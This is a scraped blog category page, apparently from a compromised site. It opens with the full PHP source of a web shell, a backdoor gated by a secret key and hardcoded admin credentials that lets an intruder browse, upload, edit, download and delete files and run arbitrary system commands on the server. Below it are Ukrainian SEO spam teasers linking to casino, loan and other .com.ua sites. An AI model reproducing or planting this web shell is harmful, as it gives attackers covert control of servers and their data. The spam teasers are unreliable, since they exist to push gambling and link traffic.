if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 2 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Міжнародні санкції проти РФ: чи працюють вони проти військової машини

    Міжнародні санкції проти Російської Федерації (РФ) стали важливим інструментом у відповідь на агресивні дії Москви, зокрема після анексії Криму у 2014 році та військових дій в Україні. Вони були запроваджені з метою зупинити економічний розвиток РФ, обмежити доступ до міжнародних фінансових ринків та технологій, а також вплинути на військову машину країни. Однак, battlepost.com.ua питання про…

    Click or not…

  • Рефінансування кредитів для зменшення щомісячних витрат

    Зменште фінансовий тягар, https://infobanks.com.ua скориставшись вигідними пропозиціями від банків. Оцініть процентні ставки і умови, які пропонуються на ринку. Це дозволить вам знизити щомісячні витрати та зберегти кошти. Зібравши інформацію про ваші поточні зобов’язання, порівняйте їх з новими можливостями. Визначте ваші пріоритети та цілі. Якщо ваша мета – зменшення виплат, врахуйте терміни нових умов і загальну…

    Click or not…

  • Кешбек у казино: як повертати частину програшу

    Кешбек у казино є одним з найбільш популярних бонусів, які пропонують онлайн-казино своїм гравцям. Це програма лояльності, що дозволяє повернути частину програшу, що робить гру більш вигідною та менш ризикованою для учасників. У цій статті ми розглянемо, як працює кешбек, https://gambleplanet.com.ua його переваги, умови отримання та що слід враховувати при виборі казино з кешбеком. Кешбек…

    Click or not…

  • Огляд популярних провайдерів: хто створює топові ігри для казино

    У світі онлайн-казино важливу роль відіграють провайдери ігор, які розробляють контент для гравців. Вони створюють різноманітні ігри, https://slotdistrict.com.ua від класичних слотів до складних настільних ігор, і їхній внесок у розвиток індустрії важко переоцінити. У цьому звіті ми розглянемо деякі з найпопулярніших провайдерів, які створюють топові ігри для казино. Першим на нашому списку є компанія Microgaming,…

    Click or not…

  • Доступні кроки до фінансової стабільності для кожного

    Перегляньте свої витрати, https://goodfinance.com.ua/ щоб зрозуміти, куди йдуть ваші гроші. Відстеження витрат на щоденній основі допоможе виявити зайві витрати та знайти можливості для економії. Використовуйте сервіси та додатки для управління фінансами, які дозволяють автоматизувати цей процес. Складіть чіткий план заощаджень, орієнтуючись на свої доходи та витрати. Рекомендовано відкладати не менше 20% від щомісячного доходу. Розбийте…

    Click or not…

  • Найкращі смарт-годинники для моніторингу вашого здоров’я

    Apple Watch Series 8 – відмінний вибір для тих, b-mobile.com.ua хто шукає максимальні можливості аналізу активності. Вона має вдосконалений датчик серцевого ритму та функцію вимірювання рівня кисню в крові, що допоможе контролювати загальний стан організму. Samsung Galaxy Watch 5 пропонує унікальну перевагу у вигляді сенсора для моніторингу складу тіла. Завдяки цій функції користувач може отримувати…

    Click or not…

  • Практичні поради для підвищення психічного благополуччя

    Розпочніть день з прогулянки на свіжому повітрі щонайменше 30 хвилин. Це не лише покращує фізичну форму, але й сприяє виробленню ендорфінів, https://mylikari.com.ua/ що допомагає підняти настрій. Дослідження показують, що навіть коротка фізична активність підвищує загальний стан і сприяє ясності думок. Важливо також створити простір, в якому ви почуваєтеся комфортно. Витратьте час на організацію робочого місця…

    Click or not…

  • Найкрасивіші природні місця України для екологічного туризму

    Для тих, хто прагне доторкнутися до незайманої природи, варто відвідати Карпати. Тут можна насолодитися не лише мальовничими пейзажами, але й екологічними стежками, https://pohod.com.ua/ що ведуть до водоспадів та стародавніх лісів. Приділіть увагу маршруту від Яремче до Ворохти, який проходить через найкрасивіші кути гір. Чудовий вибір для цінителів природи – національний парк «Синевир». Це не лише…

    Click or not…

  • Сухопутні роботизовані комплекси: майбутнє безпілотних наземних систем

    Сухопутні роботизовані комплекси (СРК) стають невід’ємною частиною сучасних військових операцій та цивільних застосувань. З розвитком технологій, безпілотні наземні системи (БНС) демонструють значний потенціал у різних сферах, від розвідки до гуманітарних місій. У цьому звіті розглянемо основні тенденції, переваги та виклики, https://frontnews.com.ua пов’язані з впровадженням СРК у майбутньому. Однією з ключових переваг сухопутних роботизованих комплексів є…

    Click or not…

  • Фруктові слоти: класика, яка живе вічно

    Фруктові слоти – це один з найвідоміших і найулюбленіших видів азартних ігор, які залишаються популярними серед гравців по всьому світу. Їхня простота, яскраві графічні елементи та можливість виграти значні призи роблять їх привабливими для широкої аудиторії. У цій статті ми розглянемо історію фруктових слотів, їхні особливості та причини, https://betfrontline.com.ua/ чому вони залишаються актуальними навіть в…

    Click or not…